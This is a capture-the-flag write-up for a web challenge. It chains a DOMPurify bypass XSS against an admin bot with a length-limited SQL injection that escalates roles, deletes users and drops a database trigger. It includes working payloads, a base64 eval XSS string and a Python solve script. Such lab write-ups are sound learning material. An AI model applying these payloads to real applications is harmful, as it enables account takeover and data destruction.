Hello all, I played this CTF with UofTCTF and we solved this with the power of friendship.

Gist of it#

This challenge has 2 flags, one requiring our role to be set to user in the database and the other requiring us to set our scrap_dir to / to view the flag on the server.

The big idea is that we have a bot we can XSS at /checker?url=payload to create a log at /debug/create_log to perform SQLI.

Important Code#

SteakEnthusiast figured out most of this part.

If we can cause an error, i.e. getting it to wait longer than 8 seconds, we can get XSS. This is because we can create a payload that gets past DOMPurify and once an error happens .textContent in the somethingWentWrong function will take our payload and put malicious HTML on the page.

1
async function main() {
2
  const params = new URLSearchParams(window.location.search);
3
  const url = params.get("url");
4
  if(url) {
5
    setTimeout(() => {
6
      somethingWentWrong();
7
    }, 8000);
8
    document.getElementById("div_url").style.visibility = 'visible';
9
    let url_cleaned = DOMPurify.sanitize(url);
10
    document.getElementById("msg_url").innerHTML = url_cleaned;
11
    const input = document.createElement("input");
12
    input.name = "url";
13
    input.type = "url";
14
    input.id = "input_url"
15
    input.required = true;
16
    input.value = url;
17
    const form = document.getElementById("scrap_form");
18
    form.appendChild(input);
19
    form.submit();
20
  } else {
21
    document.getElementById("div_url").remove();
22
    document.getElementById("error_url").remove();
23
    document.getElementById("input").innerHTML = '<input name="url" type="url" required placeholder="https://exemple.com" />';
24
  }
25
}
26

27
function somethingWentWrong() {
28
  let url = document.getElementById("msg_url").textContent;
29
  let error = document.getElementById("error_url");
30
  error.style.visibility = 'visible';
31
  error.innerHTML = `Something went wrong while scrapping ${url}`;
32
}
33

34
main();

Useful note: /me allows you to get your id and you can use it to save characters in your SQL query.

1
router.post('/debug/create_log', requireAuth, (req, res) => {
2
  if(req.session.user.role === "user") {
3
    //rework this with the new sequelize schema
4
    if(req.body.log !== undefined
5
      && !req.body.log.includes('/')
6
      && !req.body.log.includes('-')
7
      && req.body.log.length <= 50
8
      && typeof req.body.log === 'string') {
9
        database.exec(`
10
          INSERT INTO logs
11
          VALUES('${req.body.log}');
12
          SELECT *
13
          FROM logs
14
          WHERE entry = '${req.body.log}'
15
          LIMIT 1;
16
        `, (err) => {});
17
    }
18
    res.redirect('/');
19
  } else {
20
    res.redirect('/checker');
21
  }
22
});

The flag is accessible to us if we can set our role to be user.

1
// scrap.ejs
2
<% if (user.username != "superbot") { %>
3
  <p>Goodjob, the flag is: ASIS{FAKE_FLAG1}</p>
4
<% } else { %>
5
  <p>Welcome owner :heart:</p>
6
<% } %>
7
<h2>Scrapper</h2>
8
<form action="/scrap/run" method="post" class="card">
9
  <label>Website you want to scrap
10
    <input name="url" type="url" required placeholder="https://exemple.com" />
11
  </label>
12
  <button>Scrap scrap scrap !</button>
13
</form>

Story of the Solve#

Flag 1#

Initial Findings#

Ibrahim and I started looking at this challenge together and we immediately looked for how to get flag 1. We saw that it was in scrap.ejs, accessible at /scrap, and that we needed our username to not be superbot.

1
app.use('/', authRouter);
2
app.use('/checker', checkerRouter);
3
app.use('/files', requireUser, filesRouter);
4
app.use('/scrap', requireUser, scrapRouter);

There’s also this condition where we needed our role to be user. By default, when we create a new account, our role is set to demo which can be see in db.js.

1
async function initDb() {
2
  await getDb();
3
  await exec(`
4
    PRAGMA foreign_keys = ON;
5
    CREATE TABLE IF NOT EXISTS users (
6
      id INTEGER PRIMARY KEY AUTOINCREMENT,
7
      username TEXT NOT NULL UNIQUE,
8
      password TEXT NOT NULL,
9
      data_dir TEXT NOT NULL UNIQUE CHECK(length(data_dir)=8),
10
      scrap_dir TEXT NOT NULL UNIQUE,
11
      role TEXT NOT NULL DEFAULT 'demo'
12
    );
13
    CREATE TABLE IF NOT EXISTS logs (
14
      entry TEXT NOT NULL
15
    );
16
    CREATE TRIGGER IF NOT EXISTS users_immutable_dirs
17
    BEFORE UPDATE ON users
18
    FOR EACH ROW
19
    WHEN NEW.data_dir IS NOT OLD.data_dir OR NEW.scrap_dir IS NOT OLD.scrap_dir
20
    BEGIN
21
      SELECT RAISE(ABORT, 'data_dir and scrap_dir are immutable');
22
    END;
23
  `);.
24
... (skipping code fr fr)
25
  await database.query(`
26
    UPDATE users SET role='user' WHERE id=1; // the bot is made a user
27
  `);
28
}

SQL Injection?#

Alright, so the next thing we found was in auth.js, where we could potentially perform SQL injection.

You’ll notice that this can only be used if your account’s role is user, so this is where we have to use XSS on the bot. The biggest problem here though is that our input is used TWICE and the changes only happen if the whole query is valid.

1
router.post('/debug/create_log', requireAuth, (req, res) => {
2
  if(req.session.user.role === "user") {
3
    //rework this with the new sequelize schema
4
    if(req.body.log !== undefined
5
      && !req.body.log.includes('/')
6
      && !req.body.log.includes('-')
7
      && req.body.log.length <= 50
8
      && typeof req.body.log === 'string') {
9
        database.exec(`
10
          INSERT INTO logs
11
          VALUES('${req.body.log}');
12
          SELECT *
13
          FROM logs
14
          WHERE entry = '${req.body.log}'
15
          LIMIT 1;
16
        `, (err) => {});
17
    }
18
    res.redirect('/');
19
  } else {
20
    res.redirect('/checker');
21
  }
22
});

You can see that there are restrictions as well, so we cannot comment stuff out because / and - are not allowed to be included and the payload must be at most 50 chars in length.

I spent a good 5 hours trying to get something to work, but my GOAT nullptr flew in to save the day and suggested using quotes to consume parts of the query. Something of this form ') ... ' and SteakEnthusiast came up with:

1
);UPDATE users SET role="user";SELECT "1"||'

1
INSERT INTO logs
2
VALUES(');UPDATE users SET role="user";SELECT "1"||'');
3
SELECT *
4
FROM logs
5
WHERE entry = ');UPDATE users SET role="user";SELECT "1"||''
6
LIMIT 1;

As we can see, this payload works because it turns the first part into a string and terminates the statement. Then we can run our injected payload which turns everyone into a user.

Now, we needed to get the XSS to work properly.

XSS#

The file of interest here is checker.js, this allows us to send the bot to some link, but also XSS it because of the url parameter from earlier.

1
const express = require('express');
2
const { requireAuth } = require('../middleware');
3
const { visitUserWebsite } = require('../services/bot');
4

5
const router = express.Router();
6

7
router.get('/', requireAuth, async (_, res) => {
8
  res.render('checker');
9
});
10

11
router.post('/visit', requireAuth, async (req, res) => {
12
  const { url } = req.body;
13
  try {
14
    if(!url.startsWith("http://") && !url.startsWith("https://")) {
15
      req.session.flash = { type: 'error', message: 'Invalid URL.' };
16
    } else {
17
      await visitUserWebsite(url, req.session.user.data_dir);
18
      req.session.flash = { type: 'success', message: 'Your website can definitely be scrap, be careful...' };
19
    }
20
  } catch (e) {
21
    console.log(e);
22
    req.session.flash = { type: 'error', message: `An error occured.` };
23
  }
24
  res.redirect('/checker');
25
});
26

27
module.exports = router;

We can see that we need the bot to visit /checker?url=http://localhost:3000/<malicious> and after that, we can have our malicious img tag inserted to do XSS.

Ibrahim figured that you can just set up a server that takes like 10 seconds to respond so that the error will trigger. Once you have that you can append a payload like this to it:

1
http://<host>/%26lt%3Bimg%20src%3D%27x%27%20onerror%3Dalert%281%29%26gt%3B

Which is just this url-encoded

1
&lt;img src='x' onerror=alert(1)&gt; -> <img src='x' onerror=alert(1)>

From what I interpreted from SteakEnthusiast’s explanation, the reason why we use < and > is because DOMPurify thinks it is safe, so it lets it pass through, and something happens with .textContent and .innerHTML in somethingWentWrong that causes it to render.

Alright, so now that we have all of this, we can build our malicious URL. We are sending it to localhost:3000 because that is the port the service is running on for the bot.

1
http://localhost:3000/checker?url=https://{HOST_THAT_TAKES_10_SECONDS_TO_RESPOND}/{XSS_PAYLOAD}
2

3
http://localhost:3000/checker?url=http://{HOST_THAT_TAKES_10_SECONDS_TO_RESPOND}/%26lt%3Bimg%20src%3Dx%20onerror%3D%22eval(atob(%27ICBjb25zdCBwYXlsb2FkID0geyJsb2ciOiAiKTtVUERBVEUgdXNlcnMgU0VUIHJvbGU9XCJ1c2VyXCI7U0VMRUNUIFwiMVwifHwnIn07DQogICAgZmV0Y2goIi9kZWJ1Zy9jcmVhdGVfbG9nIiwgew0KICAgICAgICBtZXRob2Q6ICJQT1NUIiwNCiAgICAgICAgaGVhZGVyczogew0KICAgICAgICAgICAgIkNvbnRlbnQtVHlwZSI6ICJhcHBsaWNhdGlvbi9qc29uIg0KICAgICAgICB9LA0KICAgICAgICBib2R5OiBKU09OLnN0cmluZ2lmeShwYXlsb2FkKSwNCiAgICAgICAgY3JlZGVudGlhbHM6ICJpbmNsdWRlIg0KICAgIH0p%27))%22%0A%2F%26gt%3B

URL Decoded payload

1
&lt;img src=x onerror="eval(atob('ICBjb25zdCBwYXlsb2FkID0geyJsb2ciOiAiKTtVUERBVEUgdXNlcnMgU0VUIHJvbGU9XCJ1c2VyXCI7U0VMRUNUIFwiMVwifHwnIn07DQogICAgZmV0Y2goIi9kZWJ1Zy9jcmVhdGVfbG9nIiwgew0KICAgICAgICBtZXRob2Q6ICJQT1NUIiwNCiAgICAgICAgaGVhZGVyczogew0KICAgICAgICAgICAgIkNvbnRlbnQtVHlwZSI6ICJhcHBsaWNhdGlvbi9qc29uIg0KICAgICAgICB9LA0KICAgICAgICBib2R5OiBKU09OLnN0cmluZ2lmeShwYXlsb2FkKSwNCiAgICAgICAgY3JlZGVudGlhbHM6ICJpbmNsdWRlIg0KICAgIH0p'))"
2
/&gt;

Base64 payload

1
  const payload = {"log": ");UPDATE users SET role=\"user\";SELECT \"1\"||'"};
2
    fetch("/debug/create_log", {
3
        method: "POST",
4
        headers: {
5
            "Content-Type": "application/json"
6
        },
7
        body: JSON.stringify(payload),
8
        credentials: "include"
9
    })

So, sending the bot here will make it set everyone’s role to user and we will be able to see the flag at the /scrap route.

Flag 2#

Alright, so flag 2 is on the server, how can we view it? We figured it was something to do with files.js

1
router.get('/:scrapname/:subpath(*)?', requireAuth, (req, res) => {
2
  const rootUserDir = req.session.user.scrap_dir;
3
  const scrapName   = req.params.scrapname;
4
  const subpath     = req.params.subpath || '';
5

6
  const allScraps = listDirectory(rootUserDir);
7
  if (!allScraps.some(entry => entry.name === scrapName)) {
8
    req.session.flash = { type: 'error', message: 'This scrap does not exists.' };
9
    return res.redirect('/files');
10
  }
11
 ...
12

13
function listDirectory(directory, scrapname = "") {
14
  let entries = [];
15
  try {
16
    if (fs.existsSync(directory)) {
17
      entries = fs.readdirSync(directory).map(name => ({
18
        name,
19
        path: scrapname == "" ? path.join(directory, name).split("/").pop() : scrapname+"/"+path.join(directory, name).split("/").pop()
20
      }));
21
    }
22
  } catch {}
23
  return entries;
24
}
25
...

I assumed we could just change scrap_dir to / and we could get the flag in the root directory. It turned out to be a lot harder than I thought because there is a a trigger set in the database schema that stops us from changing scrap_dir. There is a simple solution though which is to just drop it. Also, if you remember, / is not allowed in the request to /debug/create_log, but we did not remember that piece of info. So, before we rediscovered that quirk, our idea was to send a bunch of requests to setup for changing the scrap_dir to /.

This is how it was laid out:

Delete every other user except for the bot from the database because scrap_dir must be unique and no one else must have it (You can see this in the schema in db.js), otherwise it could interfere with our solution.
Re-register our user
Go to the /me endpoint to get our id to change our specific account’s scrap_dir with the WHERE id= thing
Set our role to "/" i.e. CHAR(47)
Drop the trigger users_immutable_dirs that is preventing us from changing scrap_dir
set scrap_dir=role
change role back to "user" so that we can see the flag at /files

Once we remembered that / was blocked, we knew needed to use CHAR(47) which wouldn’t get filtered, but we didn’t have a lot of characters to spare. Thus, we spent a bunch of time golfing down the query. The big breakthrough was from SteakEnthusiast who figured out that we didn’t really need the "1"|| in SELECT "1"||' and now we have a bunch more characters to our name, enough for CHAR(47).

So we could turn a query like this (50 chars):

1
);UPDATE users SET role="/" WHERE id=6;SELECT 1||'

into this (50 chars):

1
);UPDATE users SET role=CHAR(47)WHERE id=6;SELECT'

Also notice how we got rid of the spaces next to WHERE and SELECT.

Here are the queries sent in order without all the extra stuff, I will show you the solve script at the end.

1
DELETE FROM users WHERE id!=1 -- delete every user except for bot
2
UPDATE users SET role=CHAR(47)WHERE id={singe_digit_id} -- make our role /
3
DROP TRIGGER users_immutable_dirs -- make scrap_dir changeable
4
UPDATE users SET scrap_dir=role -- set scrap_dir="/"
5
UPDATE users SET role="user"; -- allow ourselves to access /files

With all of this, we are able to go to /files and view flag 2.

Here is the cursed solve script which Ibrahim wrote most of:

1
import requests
2
import json, base64
3

4
base_url = "http://<host>:4000" # I replaced the host here
5
session = requests.Session()
6

7
def register_user(username, password):
8
    data = {
9
        "username": username,
10
        "password": password
11
    }
12
    register_resp = session.post(f"{base_url}/register", data=data)
13
    login_resp = session.post(f"{base_url}/login", data=data)
14

15
def run_sql_query(sql_query):
16
    # assert len(sql_query) <= 50
17
    assert "-" not in sql_query
18
    assert "/" not in sql_query
19

20
    js_code = f"""
21
    let payload = {{"log": "{sql_query}"}};
22

23
    fetch("/debug/create_log", {{
24
        method: "POST",
25
        headers: {{
26
            "Content-Type": "application/json"
27
        }},
28
        body: JSON.stringify(payload),
29
        credentials: "include"
30
    }})
31
    """
32

33
    url = f"http://localhost:3000/checker?url=http://<HOST_THAT_TAKES_10_SECONDS_TO_RESPOND>/%26lt%3Bimg%20src%3Dx%20onerror%3D%22eval(atob(%27{(base64.urlsafe_b64encode(js_code.encode('utf-8')).decode('utf-8')).replace('=', '%3D')}%27))%22%0A%2F%26gt%3B"
34

35
    print(f"URL: {url}")
36

37
    resp = session.post(f"{base_url}/checker/visit", json={"url": url})
38

39
    # print(sql_query[2:-11])
40
    # resp = session.post(f"{base_url}/run_sql", json={"sql": sql_query[2:-11]})
41

42
# Register and Login
43
register_user("bob123", "bob123")
44

45
# Delete all users except bot user
46
run_sql_query(');DELETE FROM users WHERE id!=1;SELECT 1||\'')
47

48
# Register and Login again
49
register_user("bob123", "bob123")
50

51
resp = session.get(f"{base_url}/me").json()
52

53
print(resp["id"])
54
id = resp["id"]
55

56
# # Update our role to "~"
57
# run_sql_query(f');UPDATE users SET role=\\"~\\" WHERE id={id};SELECT 1||\'')
58

59
# # DROP trigger
60
# run_sql_query(f');DROP TRIGGER users_immutable_dirs;SELECT 1||\'')
61

62
# # Update scrap_dir
63
# run_sql_query(');UPDATE users SET scrap_dir=\\"\\"||role;SELECT 1||\'')
64

65
# # Set role to "user"
66
# run_sql_query(');UPDATE users SET role=\\"user\\";SELECT 1||\'')
67

68
# Update our role to "/"
69
run_sql_query(f');UPDATE users SET role=CHAR(47)WHERE id={id};SELECT\'')
70

71
# DROP trigger
72
run_sql_query(f');DROP TRIGGER users_immutable_dirs;SELECT 1||\'')
73

74
# Update scrap_dir
75
run_sql_query(');UPDATE users SET scrap_dir=role;SELECT 1||\'')
76

77
# Set role to "user"
78
run_sql_query(');UPDATE users SET role=\\"user\\";SELECT 1||\'')

And when we login as bob123, the flag is available to us.

Afterthoughts fr fr#

Looking back, we probably didn’t need to change the role to be CHAR(47), after the breakthrough with character saving, we could’ve just set scrap_dir to CHAR(47) directly. Also, we could’ve made this faster once we set our role to user because we can just POST to /debug/create_log/ ourselves instead of having to XSS the bot which takes about 10 seconds each query.

1
DELETE FROM users WHERE id!=1 -- delete every user except for bot
2
UPDATE users SET role="user"WHERE id={id} -- make our role user
3
DROP TRIGGER users_immutable_dirs -- make scrap_dir changeable
4
UPDATE users SET scrap_dir=CHAR(47) -- set scrap_dir="/"

Anyways, thanks for reading! I had a really fun time doing this challenge with everyone.